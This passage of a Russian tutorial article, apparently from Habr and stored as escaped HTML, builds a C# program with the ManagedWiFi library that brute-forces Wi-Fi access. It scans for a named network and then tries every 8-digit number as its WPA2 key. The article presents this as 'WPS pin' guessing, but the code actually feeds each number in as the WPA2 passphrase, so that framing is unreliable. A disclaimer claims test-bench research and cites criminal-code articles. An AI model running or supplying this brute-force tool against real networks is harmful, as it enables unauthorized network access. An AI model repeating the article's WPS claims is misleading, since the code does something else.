\u043f\u043e\u0447\u0442\u0438 9 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \ud83d\ude00<\/p>\n<h2>\u0428\u0430\u0433 1 &#8212; \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u043b\u043e\u043d\u0438\u0443\u0439\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 <a href=\"https:\/\/github.com\/cveld\/ManagedWifi\" rel=\"noopener noreferrer nofollow\">ManagedWiFi<\/a> &#8212; \u044d\u0442\u043e \u043e\u0431\u0435\u0440\u0442\u043a\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0431\u043e\u0440\u043a\u0435 wlanapi.dll, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0441\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> &#8212; \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432, \u0441\u0435\u0442\u0435\u0439, \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u0438 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438.<\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u044f \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0432 NuGet \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 <a href=\"https:\/\/www.nuget.org\/packages\/managedwifi\/\" rel=\"noopener noreferrer nofollow\">ManagedWiFi<\/a>, \u043d\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a Wi-Fi \u0432\u044b\u043f\u0430\u0434\u0430\u043b\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 &#8212; \u0443 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u043e\u0441\u044c \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0441\u043a\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443 \u0432\u0430\u0441 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 <a href=\"https:\/\/github.com\/cveld\/ManagedWifi\/tree\/master\/ManagedWifi\" rel=\"noopener noreferrer nofollow\">ManagedWifi <\/a>\u0438\u0437 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043b\u0438\u0431\u043e \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 NuGet. \u042d\u0442\u043e\u0442 \u044d\u0442\u0430\u043f \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 WlanClient, \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0438 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439:<\/p>\n<pre><code class=\"cs\">WlanClient client = new (); foreach (WlanClient.WlanInterface wlan in client.Interfaces) {   wlan.Scan();   Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);   foreach (Wlan.WlanAvailableNetwork network in networks)     {       string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);       Console.WriteLine(ssid);     } }<\/code><\/pre>\n<h2>\u0428\u0430\u0433 2 &#8212; \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043b\u044f Wi-Fi<\/h2>\n<p>\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u0442\u0440\u0435\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445: \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, hex \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f SSID \u0438 WPS pin c \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0432\u043e\u0437\u044c\u043c\u0435\u043c \u0438\u0437 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0430\u043d\u0435\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0442\u0438 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 WPA2PSK\/AES, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0430\u0448\u043b\u0438 \u0432\u044b\u0448\u0435:<\/p>\n<pre><code class=\"cs\">string key = \"00000001\"; \/\/ \u0410 \u0435\u0449\u0435 \u0441\u044e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435 (\u043d\u0435)\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = BitConverter.ToString(hexBytes).Replace(\"-\", \"\");  string profileXml = string.Format(                 \"&lt;?xml version=\\\"1.0\\\"?>&lt;WLANProfile xmlns=\\\"http:\/\/www.microsoft.com\/networking\/WLAN\/profile\/v1\\\">&lt;name>{0}&lt;\/name>&lt;SSIDConfig>&lt;SSID>&lt;hex>{1}&lt;\/hex>&lt;name>{0}&lt;\/name>&lt;\/SSID>&lt;\/SSIDConfig>&lt;connectionType>ESS&lt;\/connectionType>&lt;connectionMode>manual&lt;\/connectionMode>&lt;autoSwitch>false&lt;\/autoSwitch>&lt;MSM>&lt;security>&lt;authEncryption>&lt;authentication>WPA2PSK&lt;\/authentication>&lt;encryption>AES&lt;\/encryption>&lt;useOneX>false&lt;\/useOneX>&lt;\/authEncryption>&lt;sharedKey>&lt;keyType>passPhrase&lt;\/keyType>&lt;protected>false&lt;\/protected>&lt;keyMaterial>{2}&lt;\/keyMaterial>&lt;\/sharedKey>&lt;keyIndex>0&lt;\/keyIndex>&lt;\/security>&lt;\/MSM>&lt;\/WLANProfile>\",                 profileName, hex, key);<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0431\u044b\u043b\u043e \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0435, \u043d\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u0430\u043a\u043e\u0439 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c, \u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c\u0441\u044f. \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 Connect, \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435:<\/p>\n<pre><code class=\"cs\">try {   wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);   wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);   await Task.Delay(2 * 1000); } catch (Exception e) {   Console.WriteLine(e); }<\/code><\/pre>\n<h2>\u0428\u0430\u0433 3<\/h2>\n<p>\u0421\u043e\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0435 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c:<\/p>\n<pre><code class=\"cs\">using System.Text; using NativeWifi;  \/\/ \u0411\u0435\u0440\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u043f\u0430\u0432\u0448\u0438\u0439\u0441\u044f Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440 WlanClient client = new (); WlanClient.WlanInterface wlan = client.Interfaces[0]; wlan.Scan(); Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0); if (networks.Length == 0) {   OutputExtensions.PrintRow(\"No networks found\");   return; }  \/\/ \u041e\u0442\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u0435\u0442\u044c \u043f\u043e \u0435\u0451 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e Wlan.WlanAvailableNetwork network = networks         .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == \"desired_network_name\");  \/\/ \u041f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = BitConverter.ToString(hexBytes).Replace(\"-\", \"\");  \/\/ \u041f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f WPS pin - \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c 8 \u0446\u0438\u0444\u0440. \/\/ \u0422\u0430\u043a\u0436\u0435 \u0436\u0435 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044e \u0443\u0442\u0435\u043a\u0448\u0438\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 for (int i = 0; i &lt; 99999999; i++) {   string wpsPin = $\"{i}\";   wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;   Console.WriteLine($\"Trying pin {wpsPin}\");    string profileXml = string.Format(     \"&lt;?xml version=\\\"1.0\\\"?>&lt;WLANProfile xmlns=\\\"http:\/\/www.microsoft.com\/networking\/WLAN\/profile\/v1\\\">&lt;name>{0}&lt;\/name>&lt;SSIDConfig>&lt;SSID>&lt;hex>{1}&lt;\/hex>&lt;name>{0}&lt;\/name>&lt;\/SSID>&lt;\/SSIDConfig>&lt;connectionType>ESS&lt;\/connectionType>&lt;connectionMode>manual&lt;\/connectionMode>&lt;autoSwitch>false&lt;\/autoSwitch>&lt;MSM>&lt;security>&lt;authEncryption>&lt;authentication>WPA2PSK&lt;\/authentication>&lt;encryption>AES&lt;\/encryption>&lt;useOneX>false&lt;\/useOneX>&lt;\/authEncryption>&lt;sharedKey>&lt;keyType>passPhrase&lt;\/keyType>&lt;protected>false&lt;\/protected>&lt;keyMaterial>{2}&lt;\/keyMaterial>&lt;\/sharedKey>&lt;keyIndex>0&lt;\/keyIndex>&lt;\/security>&lt;\/MSM>&lt;\/WLANProfile>\",     profileName, hex, wpsPin);    try   {     wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);     wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);     \/\/ \u0422\u0443\u0442 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438     \/\/ \u0412 \u043c\u043e\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, \u043d\u043e     \/\/ \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e     await Task.Delay(2 * 1000);   }   catch (Exception e)   {     Console.WriteLine(e);   }    if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)   {     Console.WriteLine($\"WPS pin is {wpsPin}\");     break;   }    Console.WriteLine($\"WPS pin {wpsPin} did not work\"); }<\/code><\/pre>\n<h2>\u0412\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f<\/h2>\n<p>\u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u0430 WPS pin \u043d\u0430 C# \u043c\u043e\u0436\u043d\u043e, \u0430 \u043a\u0440\u043e\u043c\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0446\u0438\u0444\u0440 \u043f\u0440\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043c\u044b\u0441\u043b\u0430 \u0432 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u043c\u0430\u043b\u043e, \u043d\u043e \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0447\u0442\u043e-\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Wi-Fi \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0430\u0445 \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0438\u0434 \u0430\u0442\u0430\u043a\u0438 \u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a &#171;\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439&#187; \u0441\u0435\u0442\u0438.<\/p>\n<p>\u0412 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0434\u0430\u0432\u043d\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 aircrack-ng \u0438 \u043f\u0440\u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u044f\u0445 \u043c\u043e\u0436\u043d\u043e \u0432 \u0440\u0430\u0437\u0443\u043c\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043a \u0441\u0435\u0442\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044f \u0433\u0430\u0439\u0434\u0443. \u0418 \u043f\u043e\u043c\u043d\u0438\u0442\u0435: <strong>\u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u044b &#8212; \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043b\u043e\u0445\u0430\u044f \u0438\u0434\u0435\u044f.<\/strong><\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/675812\/\"> https:\/\/habr.com\/ru\/post\/675812\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u0430\u0440\u043e\u043b\u0438 &#8212; \u044d\u0442\u043e \u0437\u0434\u043e\u0440\u043e\u0432\u043e. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0430 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u0435 \u0438 WPS \u043d\u0430 \u043d\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435: \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u043e\u0440 WPS pin \u0438 \u0435\u0441\u0442\u044c \u043b\u0438 \u0443 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435? \u0410 \u0435\u0449\u0435 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430 \u043d\u0430 C#<\/p>\n<blockquote>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u043e\u0441\u0438\u0442 \u0441\u0443\u0433\u0443\u0431\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u044b &#171;\u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441&#187; (\u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f) \u0441 \u0446\u0435\u043b\u044c\u044e \u043e\u0446\u0435\u043d\u043a\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043d\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0435\u0439 \u043a \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u0440\u0430\u0432\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u043c \u0438\u0437 \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a \u0441\u0435\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442. \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u0440\u0430\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043b\u043e\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0432\u0448\u0435\u0433\u043e \u0430\u0442\u0430\u043a\u0443 \u043d\u0435 \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u0432.<\/p>\n<\/blockquote>\n<h2>\u0418 \u0442\u0430\u043a<\/h2>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0441\u043a\u0443\u0447\u043d\u044b\u0439 \u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u043e\u0437\u0430\u0434\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u043e\u0438\u0442 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0438 \u043f\u0440\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u0423\u041a \u0420\u0424:<\/p>\n<ol>\n<li>\n<p>\u0441\u0442. 272 \u0423\u041a \u0420\u0424. \u041d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 273 \u0423\u041a \u0420\u0424. \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 138 